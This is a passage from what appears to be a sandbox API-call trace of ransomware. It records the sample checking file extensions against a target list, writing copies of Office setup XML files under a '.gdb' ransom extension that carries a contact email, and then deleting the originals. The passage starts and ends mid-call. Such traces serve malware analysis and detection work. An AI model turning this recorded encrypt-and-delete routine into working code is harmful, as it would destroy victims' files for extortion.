out: lpNewFilePointer=0x0) returned 1 [0121.067] SetEndOfFile (hFile=0x1a8) returned 1 [0121.072] CloseHandle (hObject=0x1a8) returned 1 [0121.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.072] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0121.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.072] lstrlenW (lpString=".doc") returned 4 [0121.072] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.072] lstrlenW (lpString=".docx") returned 5 [0121.072] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0121.072] lstrlenW (lpString=".pdf") returned 4 [0121.072] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.072] lstrlenW (lpString=".xls") returned 4 [0121.072] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.072] lstrlenW (lpString=".xlsx") returned 5 [0121.072] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0121.072] lstrlenW (lpString=".ppt") returned 4 [0121.072] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.072] lstrlenW (lpString=".zip") returned 4 [0121.072] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.073] lstrlenW (lpString=".rar") returned 4 [0121.073] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString=".bz2") returned 4 [0121.073] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString=".7z") returned 3 [0121.073] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".dbf") returned 4 [0121.073] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".1cd") returned 4 [0121.073] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".jpg") returned 4 [0121.073] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".doc") returned 4 [0121.073] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString=".docx") returned 5 [0121.073] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0121.073] lstrlenW (lpString=".pdf") returned 4 [0121.073] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString=".xls") returned 4 [0121.073] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString=".xlsx") returned 5 [0121.073] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0121.073] lstrlenW (lpString=".ppt") returned 4 [0121.073] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".zip") returned 4 [0121.073] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.073] lstrlenW (lpString=".rar") returned 4 [0121.073] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString=".bz2") returned 4 [0121.073] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString=".7z") returned 3 [0121.073] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".dbf") returned 4 [0121.073] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".1cd") returned 4 [0121.073] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0121.073] lstrlenW (lpString=".jpg") returned 4 [0121.074] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.074] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.074] lstrlenW (lpString="SETUP.XML") returned 9 [0121.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.133] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1872) returned 1 [0121.133] CloseHandle (hObject=0x1f0) returned 1 [0121.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0121.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.133] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.133] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0121.133] GetLastError () returned 0x0 [0121.133] ReadFile (in: hFile=0x1f0, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x750, lpOverlapped=0x0) returned 1 [0121.174] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x760, lpOverlapped=0x0) returned 1 [0121.175] ReadFile (in: hFile=0x1f0, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0121.175] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0121.176] SetEndOfFile (hFile=0x1a8) returned 1 [0121.176] CloseHandle (hObject=0x1a8) returned 1 [0121.176] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.176] SetEndOfFile (hFile=0x1f0) returned 1 [0121.178] CloseHandle (hObject=0x1f0) returned 1 [0121.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.381] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0121.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.382] lstrlenW (lpString=".doc") returned 4 [0121.382] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString=".docx") returned 5 [0121.382] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.382] lstrlenW (lpString=".pdf") returned 4 [0121.382] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString=".xls") returned 4 [0121.382] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString=".xlsx") returned 5 [0121.382] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.382] lstrlenW (lpString=".ppt") returned 4 [0121.382] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.382] lstrlenW (lpString=".zip") returned 4 [0121.382] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.382] lstrlenW (lpString=".rar") returned 4 [0121.382] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString=".bz2") returned 4 [0121.382] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString=".7z") returned 3 [0121.382] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.382] lstrlenW (lpString=".dbf") returned 4 [0121.382] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.382] lstrlenW (lpString=".1cd") returned 4 [0121.382] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.382] lstrlenW (lpString=".jpg") returned 4 [0121.382] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.383] lstrlenW (lpString=".doc") returned 4 [0121.383] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString=".docx") returned 5 [0121.383] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.383] lstrlenW (lpString=".pdf") returned 4 [0121.383] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString=".xls") returned 4 [0121.383] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString=".xlsx") returned 5 [0121.383] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.383] lstrlenW (lpString=".ppt") returned 4 [0121.383] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.383] lstrlenW (lpString=".zip") returned 4 [0121.383] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.383] lstrlenW (lpString=".rar") returned 4 [0121.383] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString=".bz2") returned 4 [0121.383] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString=".7z") returned 3 [0121.383] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.383] lstrlenW (lpString=".dbf") returned 4 [0121.383] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.383] lstrlenW (lpString=".1cd") returned 4 [0121.383] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0121.383] lstrlenW (lpString=".jpg") returned 4 [0121.383] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.384] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.384] lstrlenW (lpString="SETUP.XML") returned 9 [0121.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.430] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1608) returned 1 [0121.430] CloseHandle (hObject=0x1f0) returned 1 [0121.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0121.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0121.431] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.431] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0121.431] GetLastError () returned 0x0 [0121.431] ReadFile (in: hFile=0x1f0, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x648, lpOverlapped=0x0) returned 1 [0121.641] WriteFile (in: hFile=0x20c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x650, lpOverlapped=0x0) returned 1 [0121.642] ReadFile (in: hFile=0x1f0, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0121.642] WriteFile (in: hFile=0x20c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0121.642] SetEndOfFile (hFile=0x20c) returned 1 [0121.642] CloseHandle (hObject=0x20c) returned 1 [0121.643] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.643] SetEndOfFile (hFile=0x1f0) returned 1 [0121.644] CloseHandle (hObject=0x1f0) returned 1 [0121.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.644] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0121.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.644] lstrlenW (lpString=".doc") returned 4 [0121.645] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString=".docx") returned 5 [0121.645] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.645] lstrlenW (lpString=".pdf") returned 4 [0121.645] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString=".xls") returned 4 [0121.645] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString=".xlsx") returned 5 [0121.645] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.645] lstrlenW (lpString=".ppt") returned 4 [0121.645] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.645] lstrlenW (lpString=".zip") returned 4 [0121.645] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.645] lstrlenW (lpString=".rar") returned 4 [0121.645] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString=".bz2") returned 4 [0121.645] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString=".7z") returned 3 [0121.645] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.645] lstrlenW (lpString=".dbf") returned 4 [0121.645] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.645] lstrlenW (lpString=".1cd") returned 4 [0121.645] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.645] lstrlenW (lpString=".jpg") returned 4 [0121.645] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.645] lstrlenW (lpString=".doc") returned 4 [0121.645] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString=".docx") returned 5 [0121.646] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.646] lstrlenW (lpString=".pdf") returned 4 [0121.646] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString=".xls") returned 4 [0121.646] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString=".xlsx") returned 5 [0121.646] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.646] lstrlenW (lpString=".ppt") returned 4 [0121.646] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.646] lstrlenW (lpString=".zip") returned 4 [0121.646] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.646] lstrlenW (lpString=".rar") returned 4 [0121.646] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString=".bz2") returned 4 [0121.646] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString=".7z") returned 3 [0121.646] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.646] lstrlenW (lpString=".dbf") returned 4 [0121.646] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.646] lstrlenW (lpString=".1cd") returned 4 [0121.646] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0121.646] lstrlenW (lpString=".jpg") returned 4 [0121.646] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.646] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.646] lstrlenW (lpString="SETUP.XML") returned 9 [0121.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.750] GetFileSizeEx (in: hFile=0x210, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=2424) returned 1 [0121.750] CloseHandle (hObject=0x210) returned 1 [0121.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0121.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.751] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.751] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.786] GetLastError () returned 0x0 [0121.786] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, 